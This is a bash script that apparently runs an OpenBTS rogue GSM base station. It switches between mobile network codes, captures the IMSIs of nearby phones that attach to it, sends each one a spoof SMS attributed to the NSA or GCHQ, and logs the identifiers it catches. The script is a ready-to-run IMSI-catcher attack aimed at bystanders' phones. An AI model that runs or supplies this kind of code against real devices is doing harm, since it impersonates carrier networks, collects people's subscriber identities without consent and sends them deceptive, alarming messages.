#!/bin/bash

# figlet -f slant "Starting up..."
echo "Starting up..."
echo "Press 'Q' for a clean exit"
echo "//---------------------------------------------------------------->"

#MNCs=$(source MNCS.txt)
MNCs=(01 02 03 07 20)
TXTS=(
"State Spying Reform 2014-A6. Embrace Our Transparency."
"NSA Thanks You For Use Of Your Device"
"This Device Has Cooperated. We Thank It."
"Intercepted For Future Use. GCHQ Thanks You."
"Trans Atlantic Upload Complete."
"Remain Still. Do Not Switch Off Device - GCHQ"
)
LOG=$(date +%Y-%m-%d_%H:%M:%S)_tmsis.log
KEY=''

while [ "x$KEY" != "xQ" ];
    do 
        read KEY 
        for i in ${MNCs[@]}; 
            do 
                MNC=$i; 
                # Set the BTS to the new MNC 
                echo "config GSM.Identity.MNC $MNC" | ./OpenBTSCLI
                echo "We're working with MNC: " $MNC
                # Poll every 60 seconds 
                for j in {1..60}:
                    do 
                        sleep 1
                        # Check if we've caught any IMSIs
                        if [ $(echo "tmsis"|./OpenBTSCLI|tail -n +15|awk '{\
                        print $2 }'|sed '/^\s*$/d'|wc -l) -gt 0 ]
                            then
                                for IMSI in $(echo "tmsis"|./OpenBTSCLI | tail -n +15 | awk \ 
                                    '{ print $2 }' | sed '/^\s*$/d');
                                    do
                                        # Randomly choose an SMS to send them
                                        SMS="${TXTS[RANDOM%${#TXTS[@]}]}"
                                        # Send it
                                        echo "sendsms $IMSI $SMS"|./OpenBTSCLI
                                        echo IMSI $IMSI was sent $SMS 
                                        # Append this event to log
                                        echo $IMSI $(date +%Y-%m-%d_%H-%M-%S) $MNC $SMS >> $LOG
                                        #sleep 1
                                    done
                                # Clear the TMSIS table
                                echo "tmsis clear" | ./OpenBTSCLI
                            else
                                echo "No IMSI joined us this round."
                        fi
                    done
            done
done

echo "//<----------------------------------------------------------------"
echo "Quitting..."

cat $LOG | sort -n | uniq -u > $LOG.sorted
echo "We hit" $(cat $LOG.sorted | wc -l) "devices this session."